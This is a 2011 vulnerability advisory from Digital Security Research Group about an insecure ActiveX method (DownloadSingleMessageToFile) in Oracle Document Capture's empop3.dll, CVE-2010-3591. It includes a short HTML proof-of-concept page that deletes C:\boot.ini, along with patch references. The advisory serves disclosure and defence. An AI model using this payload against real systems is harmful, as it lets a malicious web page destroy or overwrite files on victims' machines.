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securityvulnsSecurityvulnsSECURITYVULNS:DOC:25555
HistoryJan 26, 2011 - 12:00 a.m.

[DSECRG-11-005] Oracle Document Capture empop3.dll - insecure method

2011-01-2600:00:00
vulners.com
39

ActiveX components contain insecure methods.

Digital Security Research Group [DSecRG] Advisory DSECRG-11-005 (internal
#DSECRG-00154)

Application: Oracle Document Capture
Versions Affected: Release 10gR3
Vendor URL: www.oracle.com
Bugs: insecure method, File overwriting, File deleting
Exploits: YES
Reported: 22.03.2010
Vendor response: 31.03.2010
Date of Public Advisory:24.01.2011
CVE-number: CVE-2010-3591
Author: Evdokimov Dmitriy from Digital Security Research Group
[DSecRG] (research [at] dsecrg [dot] com)

Description


Oracle Document Capture contains ActiveX components that contains insecure methods
in empop3.dll

Details


Oracle Document Capture contains ActiveX component EMPOP3Lib (empop3.dll) Lib
GUID: {F647CBE5-3C01-402A-B3F0-502A77054A24}

which is contains insecure method "DownloadSingleMessageToFile" that can delete
any file in system.

Class EasyMailPop3
GUID: {F647CBE5-3C01-402A-B3F0-502A77054A24}
Number of Interfaces: 1
Default Interface: IPOP3Main
RegKey Safe for Script: False
RegkeySafe for Init: False
KillBitSet: False

Details


Attacker can construct html page which call vulnerable function
"DownloadSingleMessageToFile" from ActiveX component empop3.dll

Example:

<HTML>
<HEAD>
<TITLE>DSecRG</TITLE>
</HEAD>
<BODY>

     &lt;OBJECT id=&#39;eds&#39;

classid='clsid:F647CBE5-3C01-402A-B3F0-502A77054A24'></OBJECT>

     &lt;SCRIPT&gt;
             
     function Exploit&#40;&#41;{
             eds.DownloadSingleMessageToFile&#40;1,&quot;C:&#92;&#92;boot.ini&quot;,1&#41;;             
     }
     Exploit&#40;&#41;;

     &lt;/SCRIPT&gt;

</BODY>
</HTML>

References


http://dsecrg.com/pages/vul/show.php?id=305
http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html

Fix Information


Information was published in CPU Jan 2011.
All customers can download CPU patches following instructions from:

http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html

About


Digital Security:

Is one of the leading IT security companies in CEMEA, providing information
security consulting, audit and penetration testing services, ERP and SAP security
assessment, certification for ISO/IEC 27001:2005 and PCI DSS and PA DSS standards.

Digital Security Research Group:

International subdivision of Digital Security company focused on research and
software development for securing business-critical systems like: enterprise
applications (ERP,CRM,SRM), technology systems (SCADA, Smart Grid) and banking
software. DSecRG developed new product "ERPSCAN security suite for SAP NetWeaver"
and service "ERPSCAN Online" which can help customers to perform automated security
assessments and compliance checks for SAP solutions.

Contact: research [at] dsecrg [dot] com
http://www.dsecrg.com
http://www.erpscan.com

Polyakov Alexandr. PCI QSA,PA-QSA
CTO Digital Security
Head of DSecRG


DIGITAL SECURITY
phone: +7 812 703 1547
+7 812 430 9130
e-mail: [email protected]

www.dsec.ru
www.dsecrg.com www.dsecrg.ru
www.erpscan.com www.erpscan.ru
www.pcidssru.com www.pcidss.ru


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